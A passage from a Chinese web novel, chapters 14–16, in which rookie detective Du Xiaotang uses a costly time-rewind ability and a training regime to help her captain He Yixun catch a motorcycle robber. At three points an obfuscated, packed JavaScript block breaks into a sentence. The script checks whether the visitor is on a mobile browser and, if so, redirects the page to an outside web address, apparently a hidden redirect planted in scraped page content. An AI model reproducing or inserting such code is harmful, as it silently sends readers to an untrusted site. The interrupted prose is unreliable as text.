她回到座位,心里有点小失落,但又有点小兴奋,虽然被“训”了,但她的想法好像被采纳了? 她重新投入工作,更加仔细地翻阅那些旧卷宗,试图寻找更多可能被忽略的细节。 下午,技术队的老王兴冲冲地拿着一张打印纸回来了:“何队!查到了!还真有!城南新案发案前一周,离案发现场不到两条街的地方,有居民报警投诉一辆改装摩托车半夜轰鸣扰民,记录里描述了那车的声音‘像拖拉机一样,突突突乱响’,车牌没看清,但颜色是深色的!和杜晓棠说的对上了!” 办公室里的人都抬起头,看向老王,又下意识地看向杜晓棠。 何亦寻接过那张纸,快速浏览了一遍,目光再次投向杜晓棠。 这一次,他的眼神不再是审视,而是一种深沉的、带着衡量意味的专注,他沉默了几秒,才开口,声音平稳却带着不容置疑的力量: “老王,顺着这条线,重点排查该区域有改装摩托车前科、或者熟悉改装车的人员。特别是案发时间段无法提供明确不在场证明的。” “老张,”他看向另一位队员,“重新梳理三年前旧案所有涉及摩托车或异常声响的证词,与新的投诉记录进行交叉比对,扩大排查范围,把那个废弃厂区路口周边也纳入重点。” “是!”两人立刻领命而去。 何亦寻这才将目光完全落在杜晓棠身上。办公室里安静下来,其他同事也都在默默关注着。 杜晓棠的心提了起来,紧张地看着他。 何亦寻看着她,片刻后,极其轻微地点了一下头,语气依旧没什么起伏,但说出来的话却让杜晓棠差点跳起来: “旧案报告不用写了。从今天起,你跟进这个摩托车线索的排查,协助老王和老张。有情况,直接向我汇报。” 杜晓棠瞬间瞪大了眼睛,几乎不敢相信自己的耳朵! 跟、跟进排查?!直接向他汇报?! 这……这就不再是看卷宗了!这是直接参与案件调查了! 巨大的惊喜冲昏了她的头脑,她张着嘴,愣了好几秒,才猛地反应过来,声音因为激动而有些发颤:“是!何队!保证完成任务!” 何亦寻看着她那副像是中了头彩、眼睛亮得惊人的样子,几不可查地移开视线,嘴角似乎又微不可见地动了一下,但很快恢复冷硬。 他什么也没再说,低下头继续工作。 杜晓棠晕乎乎地回到座位,感觉脚下像踩了棉花,心里炸开了无数朵烟花! 她成功了!她靠自己的发现,赢得了参与实际调查的机会! 她用力攥紧了拳头,兴奋得恨不得原地转几个圈。 但看到周围同事投来的、带着善意笑意和些许好奇的目光,她又赶紧强迫自己冷静下来,坐直身体,深吸一口气,拿出十二万分的认真,开始重新翻阅卷宗,恨不得把每个字都吃进去。 而坐在办公室另一端的何亦寻,在杜晓棠看不到的角度,目光再次掠过她努力压抑兴奋、故作严肃的侧脸,眼神深处,一丝极淡的、几乎无人察觉的满意,悄然掠过。 或许,可以再压点担子试试。 14. 回档第十四天 刑侦队办公室的气氛因为杜晓棠发现的改装摩托车线索而变得不同。 原本对她这个新人还带着几分观望和好奇的同事们,眼神里多了一丝认可和探究。 老王和老张领了任务,立刻风风火火地投入了排查工作,办公室里电话声、讨论声此起彼伏,充满了紧张的节奏感。 杜晓棠被何亦寻指派“跟进”和“协助”,这意味着她不再只是坐在角落里啃旧卷宗,而是可以名正言顺地参与到实际的调查流程中。 她强压下心中的激动,努力让自己显得沉稳可靠,跟在老王和老张身边,帮忙整理汇总从各派出所和交警队调来的改装车投诉记录、前科人员名单,在地图上标注案发地点和投诉地点,试图找出可能的规律或交集。 工作繁琐而细致,需要极大的耐心。 杜晓棠全神贯注,几乎忘记了时间。 然而,随着下午的推移,那种熟悉的、令人不安的疲惫感再次如同阴冷的潮水,悄无声息地漫了上来。 起初只是注意力有些难以集中,看久了文件眼睛发酸。 渐渐地,太阳穴开始隐隐作痛,像是被细针一下下地刺着。 握着笔的手指微微发颤,写出来的字迹也不如上午工整。她不得不频繁地起身去倒水,借机活动一下僵硬的脖颈,深呼吸试图驱散那股从骨髓里渗出来的倦怠。 她知道,这是回档能力透支的后遗症,在她高度集中精神工作时,显现得尤为明显。 “小杜,没事吧?脸色有点白啊。”老王抱着一摞刚打印出来的资料回来,看到她揉着太阳穴的样子,关心地问了一句。 “没事没事,王老师,可能有点用眼过度。”杜晓棠赶紧放下手,挤出一个笑容,重新拿起笔,“这些是城南新汇总过来的投诉记录吗?” “嗯,你核对一下时间点和地点,看看有没有能和案发时间对上的。”老王把资料递给她,又看了看她,“年轻人也要注意休息,别太拼。” “谢谢王老师,我没事。”杜晓棠接过资料,低下头,掩饰住眼底的疲惫,心里却有些发急。关键时刻,身体可不能掉链子! 她强迫自己集中精神,继续工作。 但那股虚弱感如同附骨之疽,不断蚕食着她的精力。 直到下班时间,初步的排查名单和地图标注才勉强整理出个大概,并没有发现明确的、可以直接锁定嫌疑人的重磅线索。 老王和老张收拾东西准备下班,约好明天继续。 杜晓棠看着桌上那堆只是初步筛选出来的、依旧庞杂的名单和地图上那些分散的标注点,心里涌上一股无力感。 这样常规的、大海捞针式的排查,需要时间,而时间,往往意味着变数。 万一嫌疑人听到风声躲起来,或者再次作案呢? 那个受害者惊恐的脸和失去财物的无助感,仿佛就在眼前。 她坐在渐渐空下来的办公室里,手指无意识地抠着笔记本的边缘,目光落在窗外渐渐沉落的夕阳上。 一个疯狂的念头,再次不受控制地冒了出来。 如果……如果能回档到案发之前呢? 不需要多,哪怕只是提前几个小时,让她能有机会在案发地点附近进行观察,甚至……蹲守呢? 这个念头一出现,就带着极强的诱惑力,几乎瞬间压倒了她的理智和对透支的恐惧。 她深吸一口气,几乎是屏住呼吸,集中精神尝试呼唤那个蓝色的面板。 面板如期浮现,上面的文字却让她心猛地一沉: 【检测到宿主强烈干预意图……目标时间点(案发前6小时)超出当前回档能力上限(24小时)。无法回档。】 【备注:能量严重不足,强行尝试可能导致意识模糊、体能崩溃等不可逆损伤。强烈警告!】 红色的警告字样刺眼无比。 杜晓棠的心凉了半截。 不行……还是不行!时间不够!而且代价她根本承受不起! 难道就真的只能这样被动作等待吗? 她不甘心地咬着下唇,目光扫过桌上那份关于最新一起抢劫未遂案的卷宗。 案发时间是上周四,傍晚七点二十分,地点是城南兴业路中段。 如果无法回到案发当天,那么……回到接到报案的当天呢?回到她刚刚发现摩托车线索、何队还没有布置排查任务的时候呢? 那样,她是不是就能更早地提醒大家关注改装车?是不是能争取到更多的时间?也许就能阻止下一次作案? 这个时间点,应该在24小时范围内了吧? 她再次集中精神,意念专注于“发现线索、汇报之前”的那一刻。 面板上的文字果然发生了变化: 【检测到宿主强烈干预意图……目标时间点:24小时内。回档程序激活……是否开启回档?目标时间点:昨日,上午09时15分。(备注:能量严重不足,回档后需极度注意休息,避免剧烈消耗。)】 【是/否】 昨日早上九点多!正好是她刚看完旧案卷宗、发现疑点、正准备向何队汇报的时候! 杜晓棠的心脏狂跳起来,血液冲上头顶,带来一阵眩晕般的兴奋。 虽然备注再次强调了能量不足和风险,但成功的可能性让她忽略了警告。 能行!这次能行! 她几乎没有犹豫,用颤抖的意念,狠狠地点向了那个【是】的选项。 熟悉的、令人心悸的失重感和时空扭曲感再次袭来,比前两次似乎更加猛烈,伴随着一阵尖锐的耳鸣和眼前瞬间的黑朦。 她甚至感觉心脏像是被一只冰冷的手攥紧,猛地抽搐了一下。 …… 眩晕感褪去。 杜晓棠发现自己正站在何亦寻的办公桌前,手里拿着那份旧案卷宗的复印件和笔记,心脏还在因为刚才的惊悸而狂跳不止,太阳穴突突地疼,一种明显的虚弱感瞬间笼罩了她,比之前任何一次都要强烈。 她强忍着不适,看向何亦寻。 他正抬起头,目光平静无波地看着她,像是在等待她的汇报。 就是现在! 杜晓棠强忍着回档带来的剧烈不适和虚弱感,站在何亦寻桌前。 这一次,她不再仅仅是汇报旧案的疑点和新案的模糊联想。 她将复印件和笔记递过去,语气虽然因虚弱而微颤,但内容却清晰且极具针对性: “何队,我在XX年旧案卷宗里发现重大疑点:两名证人对案发时段摩托车声音方向的描述存在根本性矛盾,这绝非记忆误差可以解释,极可能意味着摩托车在案发现场附近有过停留或折返!结合废弃厂区路口这个关键地点,我高度怀疑那里不是简单的经过点,而是嫌疑人的临时观察点、藏匿点或接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448658|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头点!” 她深吸一口气,继续抛出深思熟虑的建议,而不仅仅是猜测: “因此,我建议: 立即秘密排查废弃厂区路口周边所有可供车辆短暂停留或人员隐蔽的角落、废弃房屋、仓库,寻找摩托车轮胎印记、遗留物等痕迹。 重新重点询问所有证人,不仅问听到的声音,更要问声音停止后或响起前,是否有看到任何车辆灯光变化、人影晃动或其他异常动静,哪怕再细微。 将上周城南未遂案与旧案并案侦查的假设强度提升。建议技术科尝试对两案现场提取的,可能存在的、未被重视的微量痕迹,如泥土、纤维、甚至空气中的特殊气味残留(如机油、特定烟丝)进行交叉比对,即使当时认为价值不大!” 何亦寻接过纸张,目光迅速扫过,听到她条理清晰、极具洞察力的分析和建议,抬起眼,深邃的眼眸中闪过一丝难以掩饰的惊讶和锐利的光芒。 他显然没料到这个新人能跳出卷宗文字,直接指向如此具体且可能致命的侦查盲点。 他沉默了几秒,手指在桌面上重重敲了一下,立即做出了远超原版的果断决策: “老王!”他转头,语气斩钉截铁,“立刻带一队人,便装前往废弃厂区路口周边,进行地毯式秘密勘查,重点寻找摩托车停留痕迹和任何可疑遗留物。调用金属探测器和痕迹勘察灯,不要放过任何角落!” “老李,”他看向技术队负责人,“成立专案比对小组,重新处理两起案件的所有物证,尤其是微量物证,进行最高优先级的交叉比对分析,我要最快速度看到结果!” “老张,你带另一队人,重新走访所有证人,按照杜晓棠提到的要点,深挖声音之外的视觉和细节记忆!尤其是案发前后一段时间的情况!” 办公室里瞬间充满了紧张而高效的氛围,众人领命而去。 何亦寻这才重新看向杜晓棠,眼神复杂难辨,不再是单纯的审视,而是带着一种高度的重视和评估:“你的报告呢?立刻把你刚才的分析推断过程、证据依据形成详细书面报告,直接送给我。” 杜晓棠强压住因虚弱和激动而颤抖的手:“是!何队!” 这一次,由于杜晓棠的回档带来了更具突破性和指向性的信息,侦查工作取得了立竿见影的重大进展: 老王带队在废弃厂区路口一个极其隐蔽的破旧工具棚角落,发现了新鲜的摩托车轮胎碾压痕迹,与改装车宽胎特征吻合,及几个特定品牌的烟头,与旧案现场附近发现的某个未被重视的烟头品牌一致。 技术队通过加班加点的精密比对,成功从两起案件现场提取的微量土壤中,发现了高度相似的稀有矿物成分,并从纤维残留中匹配了不属于受害者的同一类深蓝色工装棉纤维。 老张的重新走访中,一位居民终于回忆起,案发当晚听到摩托车声消失后不久,似乎看到有个黑影从厂区方向快速走向路边停着的一辆深色小汽车,但由于害怕没敢多说。 这些收获不再是模糊的“线索”,而是构成了指向性极强的物证链和新的侦查方向。 虽然她身体几乎被掏空,但她的价值和作用得到了无可争议的展现。 何亦寻在听取这些汇报时,目光多次若有所思地扫过角落里正强打精神整理报告的、脸色苍白的杜晓棠。 他眼神中的探究和重视,达到了一个新的高度。 15. 回档第十五天 杜晓棠拖着仿佛被掏空的身体回到家,一头栽倒在床上,连晚饭都是被老爸杜卫东同志连哄带吓才勉强爬起来吃了两口。 她脸色苍白、眼皮打架的样子可把杜卫东心疼坏了,围着她团团转,恨不得把十全大补汤直接灌进她嘴里。 “棠棠啊,这刑侦队是不是太辛苦了?这才去一天就累成这样?要不跟领导说说,咱还是回派出所吧?”杜卫东忧心忡忡地给她掖被角。 “爸,我没事,就是……就是看卷宗看得有点头晕。”杜晓棠有气无力地敷衍,心里却在呐喊:不是看卷宗!是回档!回档太烧命了啊! 她强撑着洗漱完,几乎是爬回床上,脑袋一沾枕头就失去了意识。 这一觉睡得昏天黑地,直到第二天清晨,闹钟把她从深沉的睡眠中粗暴地拽了出来。 她挣扎着睁开眼,感觉身体像是被重型压路机碾过一样,每一块肌肉都在酸痛抗议,脑袋依旧昏沉。回档的后遗症显然没那么容易消退。 但一想到昨晚那个“强健体魄抵御消耗”的伟大计划,杜晓棠一咬牙,猛地坐了起来,虽然眼前一阵发黑差点又栽回去。 她换上一身洗得发白的旧运动服,蹑手蹑脚地溜出家门。 清晨的空气带着凉意,让她精神稍微一振。 她选定了一条相对僻静、绕着附近公园的路线,开始了她的“抗回档消耗特训”第一课——跑步。 理想很丰满,现实很骨感。 才跑了不到两百米,杜晓棠就感觉肺部火烧火燎,嗓子眼发干,双腿像灌了铅一样沉重。 平时在警校虽然也训练,但强度显然和这种透支后的恢复性锻炼不是一回事。她不得不停下来,双手撑着膝盖,大口大口地喘气,狼狈得像条离水的鱼。 “不行……杜晓棠……你得坚持……为了……不被掏空……”她一边给自己打气,一边咬着牙继续慢吞吞地往前挪动,速度堪比老大爷遛弯。 就在她呼哧带喘、跌跌撞撞地跑过公园一个拐角时,眼角的余光忽然瞥见一个极其眼熟的高大身影,正以极其标准、充满力量的跑姿,从另一条小路迎面跑来。 何亦寻?! 杜晓棠吓得差点一口气没上来呛到自己。 他怎么会在这里?!他也晨跑?! 今天的何亦寻穿着一身深灰色的运动服,更衬得他肩宽腿长,步伐沉稳,呼吸均匀,额头上只有一层细密的薄汗,整个人散发着一种冷峻而强大的气息。 和杜晓棠这副快要断气的样子形成了惨烈的对比。 杜晓棠的第一反应是想立刻找个灌木丛钻进去!太丢人了! 但显然已经来不及了。 何亦寻的目光已经扫了过来,精准地捕捉到了她这副狼狈不堪的模样。 他的眉头几不可查地蹙了一下,脚步放缓,停在了她面前。 “何、何队……早、早上好!”杜晓棠赶紧站直,努力想让自己看起来没那么像随时要厥过去,但通红的脸颊、急促的呼吸和额头上哗哗直流的冷汗彻底出卖了她。 何亦寻的目光在她那身不合身的旧运动服和微微发抖的小腿上扫过,沉默了两秒,才开口,声音带着晨跑后的微哑,但依旧没什么温度:“晨练?” “是、是的!锻炼身体!更好的工作!”杜晓棠赶紧表决心,声音还有点喘。 “嗯。”何亦寻应了一声,看不出是赞许还是别的什么。他的视线在她依旧没什么血色的脸上停留了片刻,忽然道:“体能是基础。但训练要循序渐进,过度疲劳影响判断力。” 杜晓棠:“……”队长您是不是在我身上装了监控?怎么知道我过度疲劳? “是!我明白!我会注意的!”她只能硬着头皮回答。 何亦寻没再说什么,只是点了点头,重新迈开步子,从她身边跑了过去,带起一阵微风。 杜晓棠僵在原地,直到他那挺拔的背影消失在视线里,才长长地松了一口气,垮下肩膀,感觉自己又累又尴尬,差点原地去世。 出师不利啊!第一次晨练就被顶头上司撞个正着,还是这么丢人的状态! 她垂头丧气地、以比走路还慢的速度“跑”完了剩下的路程,回到家时,感觉半条命都没了。 杜卫东看着她汗流浃背、脸色发白的样子,又是一阵大呼小叫,早餐恨不得给她塞进去五个鸡蛋。 拖着依旧疲惫但莫名多了点“一定要把体能练上去”的执念的身体,杜晓棠来到了刑侦队办公室。 一进门,就发现气氛比昨天更紧张了些。 老王和老张正围在何亦寻的办公桌前,指着地图和一堆资料讨论着什么。 “何队,根据投诉记录和交警那边提供的线索,符合‘噪音大、深色、可能改装’特征的摩托车,在案发时间段出现在城南区域的,筛选出来有三辆可能符合的。但车主信息不全,需要进一步核实。”老王汇报着。 “其中一辆的经常出现路线,和旧案里那个废弃厂区路口有重合!”老张补充道,语气兴奋。 何亦寻看着地图,手指在上面点了几个点:“重点排查这三辆车的车主背景、社会关系、活动规律。特别是案发时间段的不在场证明。技术队跟进一下,看能不能从沿途可能的监控点(如银行、商店)找到更清晰的图像。” “是!” 杜晓棠听到进展,精神一振,赶紧放下包凑了过去,认真听着。 何亦寻布置完任务,抬起头,目光扫过办公室,最后落在了杜晓棠身上。 “杜晓棠。” “到!”杜晓棠立刻挺直腰板。 “你跟进老张那条线,协助他排查废弃厂区路口附近的监控和走访。下午跟我去交警队一趟,核对车辆信息。”何亦寻的语气公事公办。 “是!”杜晓棠大声应下,心里激动不已。能参与外勤排查了! 一上午,杜晓棠都跟着老张忙前忙后,她发现自己的体力虽然还是差了点,但集中精神工作时,那种疲惫感似乎能被暂时压制。 她仔细核对每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448659|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条信息,在地图上做标记,跑腿去技术科取资料,干劲十足。 中午在食堂吃饭时,她特意多打了一份肉菜,咬着牙往嘴里塞,告诉自己:吃!必须吃!吃了才有力气!才能抗消耗! 下午,她跟着何亦寻去了市交警支队。 何亦寻和交警的领导沟通,调取更详细的车辆信息和路面监控记录。 杜晓棠则负责记录和整理数据。 她发现何亦寻在交涉时话并不多,但句句切中要害,逻辑清晰,气场强大,交警队的同志对他都很客气配合。她在一旁默默观察学习,心里佩服得不得了。 回市局的路上,车里气氛沉默。何亦寻专注开车,侧脸冷硬。 杜晓棠抱着资料,正襟危坐,偷偷瞄了他几眼,想起早上晨跑的尴尬,脚趾忍不住在鞋里抠了抠。 突然,何亦寻毫无预兆地开口,声音打破了车内的寂静:“早上跑步,膝盖和脚踝有什么感觉?” “啊?”杜晓棠愣了一下,没反应过来。 “运动后的肌肉和关节反应。”何亦寻目视前方,语气平淡得像在讨论天气,“如果持续酸痛或不适,需要注意跑姿和放松。盲目加量容易受伤。” 杜晓棠彻底懵了。 队、队长这是在……关心她的跑步姿势?还是委婉地说她跑得太烂容易受伤? 她脸颊有点发烫,结结巴巴地回答:“还、还好……就是有点酸……没、没不适……” “嗯。”何亦寻应了一声,又没了下文。 直到车子快开到市局,等红灯时,他才再次开口,依旧目视前方,仿佛随口一提:“局里后院有个小训练场,平时没人用,有几组简单的器械。比在街上跑安全。” 杜晓棠:“!!!” 她猛地转过头,难以置信地看向何亦寻冷峻的侧脸。 他、他这是……在给她提供锻炼场地?还怕她在街上跑不安全? 一股难以言喻的、受宠若惊的情绪瞬间涌上心头,冲得她脑袋有点晕乎乎的。 “谢、谢谢何队!”她声音都有点发飘了。 何亦寻没再回应,绿灯亮起,他平稳地启动了车子。 直到下车,杜晓棠都觉得自己的心跳有点快,脸颊发热,她抱着资料,晕乎乎地跟在何亦寻身后往办公楼走,脑子里反复回放着刚才那两句话。 所以……队长虽然看起来冷冰冰的,其实……人还挺好的?至少对下属挺关心的? 这个发现让她心里暖洋洋的,连带着下午积攒的疲惫都似乎减轻了不少。 然而,走在前面的何亦寻,眉头却几不可查地微微蹙着。 他确实注意到了杜晓棠异常容易疲惫的状态,以及她那明显缺乏系统训练、却又带着一股狠劲的晨跑。提供训练场地的建议,一方面是出于对下属安全和效率的基本考虑,另一方面……也是一种试探。 他需要确认,她这种时不时出现的、与工作量不符的极度疲惫,究竟是因为体能太差,还是……另有原因。 16. 回档第十六天 回到刑侦队办公室,杜晓棠还沉浸在何亦寻那句“局里后院有个小训练场”带来的震惊和暖意中,晕乎乎地整理着下午从交警队带回来的资料,脑子里反复回放着车里那简短却分量十足的对话,脸颊还有点微微发烫。 何亦寻则像是什么都没发生过一样,径直走向自己的办公桌,拿起电话开始部署下一步的排查工作,语气冷静果断,条理清晰,仿佛刚才在车里那个“多管闲事”的人不是他。 杜晓棠偷偷瞄了他几眼冷峻的侧脸,心里那点小激动慢慢平复下来,转化为一股实实在在的动力。 队长给她提供了条件,她绝不能浪费!必须把体能搞上去!绝不能让他觉得自己是个只会拖后腿的累赘! 下班铃声一响,杜晓棠几乎是第一个冲出了办公室。 她没直接回家,而是心脏砰砰跳地绕到了市局后院。 那里果然有一个用红砖矮墙围起来的小场地,地面是夯实的泥土地,角落里立着几副锈迹斑斑但看起来还算结实的单杠、双杠,旁边还有一个边缘被踩得溜圆的沙坑和一根粗粗的、麻绳纹理都被磨得发亮的爬绳架,绳子上还沾着些干涸的泥点子。 场地空旷,夕阳把影子拉得很长,除了角落里堆着几个废弃的汽车轮胎,没什么人。 看着这些充满年代感和硬核气息的“原始”器械,杜晓棠深吸了一口带着尘土味的空气,毅然挽起了袖子。 接下来的几天,杜晓棠的生活进入了一种极其规律且…酸爽到刻骨铭心的模式。 白天,她全力投入到摩托车案的排查中。 而每天下班后,雷打不动的,她都会跑到后院那个简陋却意义非凡的小训练场,进行她的“抗回档消耗地狱特训”。 看着这些充满年代感和硬核气息的“原始”器械,杜晓棠深吸了一口带着尘土味的空气。 她在警校时,这些项目都是达标了的,虽然成绩不算拔尖,但引体向上、双杠臂屈伸、爬绳也都按标准完成过。 她活动了一下手腕脚踝,准备开始。 然而,刚一发力,她就感觉到了不对劲。 那种熟悉的、被掏空般的虚弱感再次袭来,远比平时训练后正常的肌肉酸痛要深刻和令人不安。 她尝试跳起抓住单杠,手臂却酸软得厉害,原本可以轻松做七八个的标准引体向上,现在拼尽全力,下巴也只能勉强够到杠面一次,然后就再也拉不上去了,手臂抖得厉害。 这绝不是她正常的水平!回档的消耗,像一道无形的枷锁,死死限制着她的力量。 双杠也是如此,支撑上去后,手臂无力,刚下降一点就几乎撑不住身体重量,差点摔进沙坑。 爬绳更是艰难,手脚并用的技巧还在,但臂力和握力严重不足,爬了两米多就力竭滑了下来,粗糙的麻绳把手心磨得火辣辣地疼。 她累得瘫坐在沙坑边,看着自己磨得通红、甚至沁出血丝的手掌,还有那两条不听使唤、微微颤抖的胳膊,心里涌起一股巨大的沮丧和清醒的认知:回档消耗的不仅仅是“精力”,它还在短时间内严重削弱了她的身体素质! 她警校练出来的那点底子,在这巨大的消耗面前,显得杯水车薪。 但她没放弃。 想起何亦寻那句“比在街上跑安全”,想起自己这动不动就眼前发黑的身体,她咬碎了牙往肚子里咽。 技巧还在,只是身体被掏空了,那就更需要练! 第二天,她降低了目标,但更注重恢复性训练和技巧保持。她缠好纱布,开始绕着训练场跑步,调整呼吸,找回长跑的节奏。 她练习蛙跳,在冰冷坚硬的土地上做仰卧起坐和俯卧撑,每次训练,她都努力用正确的姿势去完成,试图用肌肉记忆和技巧来弥补力量的严重不足。 第三天,第四天……她咬着牙坚持。 手心的皮磨破了又结痂,结了痂又磨破。 她发现,虽然回档后的虚弱感依旧每次都会出现,但通过这种有针对性的恢复训练,力量回来的速度似乎快了一点点。 至少,她能勉强完成三四个引体向上了,双杠也能支撑着做几个不标准的臂屈伸了,爬绳也能爬到三分之二的高度了。这是一种和回档消耗抢时间、抢状态的艰难过程。 偶尔,在她训练得浑身湿透、动作因力竭而有些变形却还在坚持的时候,会看到何亦寻从那栋主楼里走出来…… 功夫不负有心人。 随着体能训练的坚持,杜晓棠明显感觉到,白天工作的疲惫感减轻了,精力更充沛,注意力也更集中。 虽然回档带来的那种深入骨髓的透支感依然存在,但恢复的速度似乎快了一些,至少不会像以前那样动不动就眼前发黑、需要扶着墙才能站稳。 这让她更加坚信锻炼是抵抗回档副作用的正确途径,练得更加卖力。 刑警队办公室的气氛因为杜晓棠那份极具洞察力的报告,和随之而来的突破性发现而彻底改变。 物证比对结果、废弃工具棚的轮胎印和烟头、以及新的目击线索像几块关键拼图,迅速将散乱的线索收拢,指向了一个清晰得多的方向。 排查范围急剧缩小,重点嫌疑人从三个模糊的影子聚焦到了那个社会青年——外号“黑皮”的刘强身上。 他有改装摩托车的前科,案发时间段无人证明其行踪,社会关系复杂,且有人隐约提及他最近似乎和一个有车的“大哥”走得近。 何亦寻迅速调整部署,下达了一连串指令:严密监控刘强及其社会关系,排查其可能藏匿赃物或与同伙接头的地点,重点搜索那辆神秘的深色汽车。 杜晓棠虽然因为回档而虚弱不堪,但也被这股紧张而高效的气氛感染,强打精神投入到工作中。 她负责协助老王整理和分析如雪片般汇集而来的监控信息和走访记录,在地图上标注刘强可能的活动轨迹和关系网节点。 锻炼中,她也不再追求一次性完成高难度动作,而是更注重恢复性训练和技巧保持,反复练习警校学过的擒拿格斗的基本架势和发力技巧,对着沙坑里的旧轮胎练习侧踹和低扫腿,虽然力量不足,但动作的准确性和连贯性在一点点找回。 她练习快速拔枪和瞄准姿势,锻炼自己的反应速度和稳定性。 每一次力竭,每一次汗水浸透衣服,她都感觉自己和那个虚弱的自己又远离了一点点。 偶尔,何亦寻的身影还是会出现在办公楼门口。 他不再只是匆匆一瞥,有时会驻足片刻,目光沉静地落在训练场上那个一次次摔倒又爬起、对着轮胎较劲的倔强身影上。 他从未出声指点,但那沉默的注视本身,就带着一种无形的压力和……认可? 几天后的一个傍晚,案情取得了决定性进展。 技术科通过艰苦的痕迹比对,最终确认废弃工具棚的烟头DNA与旧案现场提取的一枚模糊指纹旁发现的微量唾液残留高度吻合。 同时,监控组也通过海量筛查,锁定了一辆在案发时间段出现在厂区附近、车牌有遮挡的深蓝色老式桑塔纳,车型特征与目击者的模糊描述一致。 收网的时候到了。 何亦寻站在办公室中央,面色冷峻,快速下达抓捕指令: “目标:刘强及其可能同伙。地点:根据线报,他们今晚可能在城西废弃的农机厂仓库进行赃物交易。行动要求:快速、隐蔽、一击即中!注意,嫌疑人可能携带凶器,且有交通工具,务必防止其驾车冲卡或逃窜!” 他目光锐利地扫过整装待发的队员们,最后在杜晓棠身上停顿了一瞬。她穿着防刺背心,神色紧张却异常专注,眼神里闪烁着跃跃欲试的光芒。 “杜晓棠!” “到!” “你跟随第二小组,负责外围警戒和支援。仔细观察,没有命令,不许擅自行动!”他的语气严厉,带着不容置疑的命令。 “是!”杜晓棠深吸一口气,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448660|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力点头。她知道这是保护,也是考验。 夜色如墨,废弃的农机厂仓库周围一片死寂,只有风声吹过破旧铁皮发出的呜咽声。 抓捕小组如同暗夜中的猎豹,悄无声息地包围了仓库。 杜晓棠和几名同事埋伏在仓库侧后方的一个土坡后面,心脏砰砰直跳,手心因为紧张而微微出汗,但她努力控制着呼吸,瞪大了眼睛观察着仓库的动静,耳朵竖起来捕捉任何异常声响。 突然,仓库里传来一声短促的呼喝和打斗声!行动暴露了! “行动!”对讲机里传来何亦寻冷静果断的命令。 霎时间,几束强光手电猛地照亮仓库大门,埋伏的干警如离弦之箭般冲了进去。里面立刻传来更大的打斗声、呵斥声和物品碰撞的声音。 杜晓棠的心提到了嗓子眼,紧紧握着警棍,全身肌肉绷紧。 就在这时,仓库侧面一个不起眼的小门猛地被撞开。 一个黑影踉跄着冲了出来,正是刘强,他脸上带着狠戾,手里挥舞着一把大号扳手,企图趁乱逃跑。 “站住!警察!”负责侧翼警戒的民警立刻上前拦截。 刘强像一头困兽,红着眼睛,挥舞着扳手疯狂地砸向民警,仗着一股蛮力竟然冲开了一个缺口,朝着杜晓棠他们埋伏的土坡方向狂奔而来。 他身后,那小门里又钻出一个人,试图启动停在阴影里的一辆深蓝色桑塔纳。 “拦住他!”对讲机里传来急促的命令。 土坡后的几名民警立刻跃起阻击。刘强状若疯狂,扳手胡乱挥舞,逼得民警一时难以近身。 杜晓棠看着那个直冲过来的凶徒,心脏几乎要跳出胸腔。 恐惧瞬间攫住了她,但下一秒,连日来的体能训练和警校刻在骨子里的反应压倒了恐惧。 她猛地深吸一口气,侧身滑步,险险躲过砸来的扳手,几乎是本能地使出了一记训练了无数次的低扫腿,精准地扫在了刘强全力奔跑、重心不稳的脚踝上。 “呃啊!”刘强惨叫一声,下盘失衡,整个人向前扑倒,手里的扳手也脱手飞了出去。 就在他挣扎着要爬起来的瞬间,旁边一名经验丰富的民警抓住机会,一个迅猛的擒拿手将其胳膊反剪,死死压在了地上:“别动!老实点!” 另一个小组也迅速冲上前,将那个刚发动汽车的同伙从车里拖了出来,铐住。 整个过程发生在电光火石之间。 杜晓棠还保持着半蹲的姿势,呼吸急促,看着被死死按在地上的刘强,感觉自己的腿还在微微发抖,刚才那一下几乎抽空了她好不容易恢复的一点力气,但一种巨大的、混合着后怕和兴奋的情绪在她胸腔里炸开。 她做到了!她真的用上了训练的东西,阻止了嫌疑人! 何亦寻从仓库正门方向快步走来,灯光照亮他冷峻的脸庞。 他扫了一眼被制服的刘强和他的同伙,目光最后落在刚刚站起身、脸色还有些发白但眼睛亮得惊人的杜晓棠身上。 他的视线在她微微颤抖的腿上停留了半秒,眉头几不可查地动了一下,但什么也没说,只是对押解的民警点了点头:“带走!彻底搜查仓库和车辆!” 回去的路上,车厢里气氛活跃了不少。 虽然大家都有些疲惫,但成功抓捕的兴奋感弥漫着。同事们纷纷夸赞杜晓棠刚才那一下“扫得漂亮”、“关键时刻顶上了”。 杜晓棠不好意思地笑着,心里像喝了蜜一样甜,连身体的虚弱感似乎都被冲淡了。 